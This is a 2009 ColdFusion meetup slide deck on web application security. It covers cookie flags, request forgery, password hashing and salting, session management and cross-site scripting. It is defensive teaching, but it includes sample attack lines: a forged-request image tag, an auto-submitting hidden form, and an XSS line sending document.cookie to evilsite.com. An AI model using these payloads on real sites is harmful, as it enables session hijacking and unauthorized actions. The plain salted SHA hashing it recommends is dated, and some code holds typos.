600 likes | 771 Views
January 22 nd , 2009 Jason Dean http://www.12robots.com. Online ColdFusion Meetup ColdFusion Application Security: Beyond SQL Injection. Who am I?. Web Application Developer with the Minnesota Department of Health (MDH) Chairperson and User Group Manager of the MDH ColdFusion User Group
E N D
January 22nd, 2009 Jason Dean http://www.12robots.com Online ColdFusion MeetupColdFusion Application Security: Beyond SQL Injection
Who am I? • Web Application Developer with the Minnesota Department of Health (MDH) • Chairperson and User Group Manager of the MDH ColdFusion User Group • ColdFusion Development Blogger (who isn't?) http://www.12robots.com • Veteran of the U.S. Coast Guard
Today We'll Look At • Cookie Security • Request Forgeries • Password Security • Session Management • Cross-Site Scripting XSS
Cookie Security • Pop Quiz • How many parameters can a cookie accept? • What are they? • Cookie Parameters • Name (String) • Value (String) • Expires (DateTime) • Path (String) • Domain (String) • Secure (Boolean) • What about the HTTPOnly Parameter?
Cookie Security • Name and Value – Pretty self-explanatory. No Security Concerns (except content) • Expires – This value definitely carries a security concern with it, especially for session management cookies. • Path – The path to which a cookie applies within a domain. If set, a domain must also be set. Default is for all pages on the domain that set the cookie to be able to access it. • Domain – The domain to which the cookie applies. Must start with a period. Example: domain=“.12robots.com”. Only the specified domain can access the cookie. By default, the domain that set the cookie will be used. • Secure – If set to “True” the cookie will only be submitted to the server over an SSL connection. No SLL, no cookie • HTTPOnly – This feature is new to browsers (IE6+ and FF 2.0.0.5+). It is a flag that tells the browser to only submit the cookie via HTTP requests, which means it cannot be access via JavaScript
Cookie Security • Security Concerns with Path and Domain Parameters • Path and Domain are often overlooked as a security concern. That can be bad • So what's wrong with leaving the defaults for Path and Domain? • Let's say you had an awesome website for ColdFusion bloggers • When a new blogger signs up, they get their own subdomain: 12robots.awesomecfbloggers.com • When a blogger logs in they could get a cookie for domain=”.awesomecfbloggers.com” • When a blogger from that site goes to another blog on the site, their site cookies are sent to it, because they are all within the same domain .awesomecfbloggers.com • A malicious user could create a new account called hacker.awesomecfbloggers.com Then invite the other bloggers from awesomecfbloggers.com • When the other bloggers visit, if they have current cookies for .awesomecfbloggers.com, they will automatically be sent to the hacker site • The hacker can log those cookies • Then the hacker can use those sessionid values for session hijacking • The same thing applies to the Path value in the cookie: awesomebloggers.com/12robots
HTTPOnly Flag • Used to specify when a cookie can be accessed • If set, the cookie can only be used in HTTP transactions • This prevent a JavaScript exploits from being used to access the cookie • Stops many XSS attacks that could result in session hijacking • Setting the HTTPOnly Flag • ColdFusion's <cfcookie> tag does not support the HTTPOnly flag • To set the HTTPOnly flag you need to use <cfheader> <cfheadername="Set-Cookie"value="firstname=Jason;HttpOnly">
Session Token Cookies • By default, ColdFusion does not make Session Token Cookies very secure • Domain attribute is handled well, if “this.setClientCookies = true” in Application.cfc/cfm • Path is ALWAYS set to “/” • Cannot be set as SECURE • Cannot be set HTTPOnly • Not set as non-persistant cookies (unless J2EE) • So these little flaws need to be addressed, and can be addressed manually.
Manually Changing Session Token Cookies • Setting HTTPOnly • Set SECURE Flag • Set Domain and Path <cfheadername="Set-Cookie"value="CFID=#session.CFID#;HTTPOnly"/> <cfheadername="Set-Cookie"value="CFTOKEN=#session.CFToken#;HTTPOnly"/> <cfheadername="Set-Cookie"value="CFID=#session.CFIF#;secure=true;"/> <cfheadername="Set-Cookie"value="CFTOKEN=#session.CFTOKEN#;secure=true;"/> <cfheader name="Set-cookie" value="CFID=#session.cfid#;path=/test/;domain=.12robots.awesomecfbloggers.com;"/> <cfheader name="Set-cookie" value="CFToken=#session.cftoken#;path=/test/;domain=.12robots.awesomecfbloggers.com;"/>
Manually Changing Session Token Cookies • Setting Everything • These blocks should be in onSessionStart() or in session initialization code • All of these need setClientCookies turned off in Application.cfc/cfm • JsessionIDs seem considerably harder to manipulate. • Could make SECURE • Could not change DOMAIN or Path without duplicating cookie • Seems that J2EE creates cookie whether setClientCookies is True or False <cfheader name="Set-cookie" value="CFID=#session.cfid#;secure=true;path=/test/; domain=.12robots.awesomecoldfusionbloggers.com;HTTPOnly"/> <cfheader name="Set-cookie" value="CFToken=#session.cftoken#;secure=true;path=/test/; domain=.12robots.awesomecoldfusionbloggers.com;HTTPOnly"/> <cfset this.name = "cookieTest"/> <cfset this.sessionManagement = true/> <cfset this.setClientCookies = false/>
What is a Request Forgery? • A request forgery, also sometimes called a Cross-Site (or On-Site) Request Forgery(XSRF), is an attack that is perpetrated against the user of a site who has authenticated access to that site • The user is unwittingly tricked into performing actions on a site through hidden code displayed to them and, therefore, executed in their browser • The hacker is writing a check and your users are cashing it for him, without knowing it
That was confusing • How about an Example? • Our Hypothetical website http://www.easilypwnd.com • Has an administrator only section for maintaining users • Our site has a deletePage.cfm action page that accepts a single parameter, pageID • DeletePage.cfm has been secured to make sure ONLY our administrators can access it. • All is good, right?
Or is it? • One morning, Bob (one of our administrators) gets an email from Kay in accounting. It has a link to a bad joke on a Joke-of-the-Day site • Here is the joke: • Bob finishes the joke, chuckles politely and deletes the email • About 5 minutes later, the phone starts ringing. The company website is down • Q: What is the difference between a used-car salesman and a computer salesman? • A: The used-car salesman knows when he's lying to you!
What happened? • The email Bob received wasn't from Kay in accounting • <Dramatic Pause> • It was from a Hacker who spoofed Kay's email address • The link the hacker sent, did go to a Joke-of-the-Day page, but the hacker left a comment for the joke and in his comment he placed the line: • So what do you think happened when Bob viewed that page with that comment on it? <imgsrc="http://www.easilypwnd.com/deletePage.cfm?pageid=1">
What happened? • When Bob viewed that page the <img /> tag went looking for the src resource and made the request: • And if Bob was actually logged into the site, then it was a legitimate request coming from a legitimate user and so it was executed • Oops <imgsrc="http://www.easilypwnd.com/deletePage.cfm?pageid=1">
So what can be done with a Request Forgery? • Delete or Edit pages • Delete or Edit Users • Perform Administrative Functions • Send Emails • Transfer funds • Make purchases • Anything that an authenticated used would normally be able to do
So what can we do about it? • One thing we can do is to use POST requests instead of GET requests. • Using POST requests will stop many, but not all Request Forgeries, It would stop the <img /> attack, but not this one: <formname="rfForm"action="deletePage.cfm"method="post"> <inputtype="hidden"name="pageid"value="1"/> </form> <scripttype="text/javascript"> rfForm.post(); </script>
So what ELSE can we do about it? • So let's say we have a form that looks like this: • Assume that it has other appropriate security to ensure only administrators have access • The page or function this POSTs to is likely vulnerable to the forgery attack we just looked at • It probably: • Receives the request • Checks to make sure the user is logged in • Confirms that the ID is valid • Performs the action <formaction="deletePage.cfm"method="post"> <inputtype="hidden"name="pageid"value="1"/> <inputtype="submit"name="btnSubmit"value="Delete Page 1"/> </form>
How do we fix it? • Create a UUID • Add that UUID to the form and the user session • We can then check the result in the action page/method to confirm that it came from the right place <cfset session.formkeys.delPageForm = CreateUUID() /> <formaction="deletePage.cfm"method="post"> <inputtype="hidden"name="pageid"value="#queryPages.pageid#"/> <inputtype="submit"name="btnSubmit"value="Delete Page #queryPages.pageid#"/> <inputtype="hidden"name="key"value="#session.formkeys.delPageForm#"/> </form>
How do we fix it? • Another option is to ask for a second verification. • Prompt “Are you sure?” using server-side logic • Maybe even require them to enter their password again <cfifStructKeyExists(form, "key") AND StructKeyExists(session.formkeys, "delPageForm") AND form.key = session.formkey.delPageForm> <cfsetstructDelete(session.formkeys, "delPageForm") /> <cfelse> <cflocationurl="/"/> </cfif> <!--- Finish form processing here --->
Password Security • How do we get a secure password? • Does every site need a “super” secure password? • Password Best Practices • Password Salting and Hashing • Password Strength Function • “Forgot My Password” Best Practices
Achieving a Super-Secure Password • Password should allow and required both alphabetical and numeric characters • Passwords should allow and require both uppercase and lowercase letters • Passwords should allow and require special characters • Passwords should probably be at least 7 or 8 characters long. If you need to have them with fewer characters, you should have a REALLY good reason for it. • Password should be changed every [Insert period of time here]. Depending on the security level of your system this might be every month, quarter, or six months. • Passwords should never contain the username or be a date
Have the password security scheme fit the website • Does every site need a “super” secure password? • Probably not • It is a judgment call, get the input of the people to whom data belongs • There is no reason not to allow a strong password, but perhaps not every site needs to enforce it • At a minimum, set a decent minimum length and require some alphas (upper and lower) and some numerics
Best Practices • Don't set a minimum length above 8 character • Where possible, use SSL • Load the login form using SSL (although it only needs to POST to SSL) • Don't send Login credentials on the URL string (except for Web Services, and then, only over SSL) • Never store passwords in clear text • Create an audit log of login attempts • If you lock a user out after a certain number of login attempts, do not use a cookie or tie it to the user session, do it in the database
Password Hashing and Salting • What is Hashing? • Why do we want to Hash our passwords? • What is Salting and why do we want to do it? • Example Code
What is Hashing? • From Wikipedia: "... a Cryptographic Hash Function is a transformation that takes an input and returns a fixed-size string, which is called the hash value. • A hash is a One-Way Transformation • A strong enough hash is virtually impossible to reverse • A strong enough hash will have very few collisions
Hashing Example <cfset val1 = "Jason"/> <cfset val2 = "ColdFusion"/> <cfset val3 = "SR-71 Blackbird"/> <cfset hash1 = Hash(val1,"MD5") /> <cfset hash2 = Hash(val2,"MD5") /> <cfset hash3 = Hash(val3,"MD5") /> <cfoutput> #hash1#<br/> #hash2#<br/> #hash3#<br/> </cfoutput>
Hashing Example • Will Produce: • 472D46CB829018F9DBD65FB8479A49BB • CBD672C9AAF85A22968C7BCF9FF90EED • 10F1C46CAF873486E530570E7A298BBB • Notice they are all the same number of characters. Hashes are Fixed-Length strings <cfoutput> #hash1#<br/> #hash2#<br/> #hash3#<br/> </cfoutput>
Stronger Hashing Example • An MD5 Hash is not strong enough • MD5 is fine for examples, but in the real world, MD5 is weak • So what are the other options? • In our example we did this: • Well we can replace MD5 with a number of other hashing algorithms that produce different fixed-lengths • MD5: (Default) Generates a 32-character, hexadecimal string • SHA: Generates a 40-character string • SHA-256: Generates a 64-character string • SHA-384: Generates a 96-character string • SHA-512: Generates an 128-character string <cfset hash1 = Hash(val1,"MD5") />
Stronger Hashing Example • So let's compare the algorithms • In our previous example we had: • Now let's add: AND <cfset hash1 = Hash(val1,"MD5") /> <cfset hash2 = Hash(val2,"MD5") /> <cfset hash3 = Hash(val3,"MD5") /> <cfset hash1 = Hash(val1,"SHA-256") /> <cfset hash2 = Hash(val2,"SHA-256") /> <cfset hash3 = Hash(val3,"SHA-256") /> <cfset hash1 = Hash(val1,"SHA-512") /> <cfset hash2 = Hash(val2,"SHA-512") /> <cfset hash3 = Hash(val3,"SHA-512") />
Stronger Hashing Example MD5 Result • 472D46CB829018F9DBD65FB8479A49BB • CBD672C9AAF85A22968C7BCF9FF90EED • 10F1C46CAF873486E530570E7A298BBB
Stronger Hashing Example SHA-256 Result • 7FA8A6E9FDE2F4E1DFE6FB029AF47C9633D4B7A616A42C3B2889C5226A20238D • 0DBDC9C5C4E9B4B11FECFAC0247A0E0F0E810A7BD0AD3EEC36C2A30FF96CE3C4 • E153B4C97FCFAC7016A276461E06504CB9F03B9A3ADF36072E1EC7F21308736B
Stronger Hashing Example SHA-512 Result • 27166A235CD42FB7E5A45CB89F542760373DCDC779E1697DB283013718904201D4D05537E63FD3815B596511C8704C50791C7BA3C504CAB516E622BDC6EC09C9 • 0452F87278847018D8E6CC77F4201315AED6928A7A4075B2400D271CE8E89B1F848BFDC3B9F3A7EB2D74862EB984882C8F8D1F955E9E96F801B1419F88811A0B • 4FF17CC3794CAB06B880FDA5507692ADBE5BA74EDFE570611F944F43DFFE4F0A0BED2F9CBC37FE1659336038ECABE47423FFA8FC8403459D7406E13A80173259
Hashing • A specific string will ALWAYS result in the same hash value • Collisions occur when two values have the same Hash value • Strong hashing algorithms are going to have fewer collisions • The longer the hash value, the less likely you will have collisions.
Implementing Hashed Passwords • So if hashes aren't reversible, how can we tell if the user entered the correct password? • When the user enters their password, while logging in, we hash it and compare the result to the hash that we stored in the database. • Since a hash cannot be reversed, if the DB becomes compromised, the information cannot be used to obtain passwords, nor can it be used to login using the hash instead of a password • We'll look at an example shortly
Password Salting • What is Salting? • Let's first talk about why we need salting • Because people make stupid password (i.e. “Password1!”) • We also need passwords because hackers are smart • If our password database becomes compromised, and the passwords are hashed, then the hacker will start looking for matching values • If the hacker finds two hashed values that are exactly the same then that value is either a common dictionary word, a name, a date, or a stupid password • The brute force attack on that user can then commence • Salting ensures that no two hashes in our database ever have the same value
Password Salting • So what is Salting then? • Salting is the process of adding a random string of characters to the end of a user's password before hashing it. • Each password would get its own salt hence eliminating the problem of two like passwords having the same hash value. • Let's look at examples
Password Salting Example <cfset val1 = "Password1"/> <cfset val2 = "Password1"/> <cfset hash1 = Hash(val1, "MD5") /> <cfset hash2 = Hash(val2, "MD5") /> <cfset hash1Salted = Hash(val1 & CreateUUID(), "MD5") /> <cfset hash2Salted = Hash(val2 & CreateUUID(), "MD5") /> <cfoutput> Value 1 Hashed:#hash1#<br/> Value 2 Hashed:#hash2#<br/><br/> Value 1 Salted and Hashed:#hash1Salted#<br/> Value 2 Salted and Hashed:#hash2Salted#<br/> </cfoutput>
Password Salting ExampleOutput • Will result in this output: • Value 1 Hashed:2AC9CB7DC02B3C0083EB70898E549B63 • Value 2 Hashed:2AC9CB7DC02B3C0083EB70898E549B63 • Value 1 Salted and hashed:2DEB5ADAF0854BBBC24DC4797BA73027 • Value 2 Salted and Hashed:3498DD83CA3F1945D0EE7BE16984999E <cfoutput> Value 1 Hashed:#hash1#<br/> Value 2 Hashed:#hash2#<br/><br/> Value 1 Salted and Hashed:#hash1Salted#<br/> Value 2 Salted and Hashed:#hash2Salted#<br/> </cfoutput>
Password Salting Example • Value 1 Hashed:2AC9CB7DC02B3C0083EB70898E549B63 • Value 2 Hashed:2AC9CB7DC02B3C0083EB70898E549B63 • Value 1 Salted and Hashed:2DEB5ADAF0854BBBC24DC4797BA73027 • Value 2 Salted and Hashed:3498DD83CA3F1945D0EE7BE16984999E • Notice the hashes without salting are identical • But, once you add a salt, the two hash values are very different • Of course, we need to store the salt that we use for each value so that when we hash the user input, we can append the salt
Look at Code! • Let's look at some code examples • http://hashandsalt:81/index.cfm • http://hashandsalt:81/login.cfm
“Forgot My Password” Best Practices • Never have your “Forgot My Password” function e-mail the user's password (If you are hashing password you won't be able to anyway) • Either reset the users password and email them the new password or send the user a temporary URL that can be used for them to reset the password • Force the user to change their password after they first log in after a reset • Keep a log of the last X hashes of the users password so they cannot reset their password to something that have used previously (Within reason) • Make sure your Change Password functionality uses the same strength and hashing functions as your initial password set up • Do not login a user from the “Forgot My Password” section. Always make them go through their e-mail. • Tell story about bad “Forgot My Password” functionality
Session Management • What is a Session? • Session Tokens • Session Persistence • Session Hijacking • Session Hijack through XSS • Session Token Best Practices
What is a session? • Since the World Wide Web is stateless, we need sessions to persist data from one page request to the next • If your user requests pageA.cfm and then immediately requests pageB.cfm the web server does not relate those pages to each other • Session Management is a way to create statefulness in a stateless environment • Each client is assigned a session token, which is then passed from request to request • Information that is stored on the server can be provided to the client that provides the correct token
Session Tokens • A session token is a unique string of characters (usually alpha numeric) that is used to identify a client (Web browser) to the server • The application server can use the token to match a client with the appropriate data stored on the server • ColdFusion has two different types of Session Tokens available • ColdFusion session tokens (Two varieties) • J2EE Session tokens
Session Persistence • Sessions can be persisted in 3 ways • Passing in a URL(Tough to maintain) • Developer has to remember to always pass the URL string • End user can easily lose their session by messing with the URL • Session Token will be logged by the web server http://www.12robots.com/mypage.cfm?CFID=2&CFTOKEN=10666880 • Passing in POST requests (Very difficult to maintain) • EVERY request from page to page needs to be a <form> • Even Navigation <inputtype="hidden"name="cfid"value="#session.cfid#"> <inputtype="hidden"name="cftoken"value="#session.cftoken#"> • Using a Token Cookie (Easy to do, easy to maintain, easier to secure) • End user would have a hard time screwing it up • Does require that your end users have cookies enabled
Session Hijacking • What is it? • After initial authentication, session management takes over and persists that authentication from request to request • If the session token can be compromised then whoever gains access to a valid session token can impersonate the user to whom that token belongs • That's called Session Hijacking and all a hacker needs to accomplish a session hijacking is the session token • How can the session token become compromised? • Physical Access to a machine • XSS • Social Engineering • Brute-Force Guessing
XSS Session Token • Cross-Site Scripting can be used to grab a session token • The following line, if injected, will send all user cookie information to another site: • Once the other site receives your user's cookie, they can use the information to hijack the user’s session document.location=”http://www.evilsite.com?cookie=” + document.cookie;
Session Token Best Practices • Do NOT pass your session tokens in the URL string • Use cookies as a best practice • Use J2EE Session IDs or Set ColdFusion to use UUIDs for CFToken • Set cookies to HTTPOnly to prevent some XSS attacks • Use SSL connection to prevent packet sniffing exploits • Set cookies to SECURE so they are only sent via SSL • Use DOMAIN and PATH attributes in your cookies to minimize where they are sent • Set Session-Only cookies so that they expire when the browser is closed (CF Sessions Only, J2EE already does this) • Keep session time-out values low
Cross-Site Scripting (XSS) • Is also a type of “Injection” attack • Is used by one user to “attack” another • Can be used for session hijacking, page redirection, phishing, bypassing access controls, and other types of nefarious activities • Can be implemented anywhere a user is allowed to enter data that will later be view by other users, like blog comments or forum posts. • Is implemented by a user who enters scripts (usually Javascript) into a text entry field on a web application or directly into a URL that is emailed or IM, etc. Later when that entry is viewed by another user, the script is executed.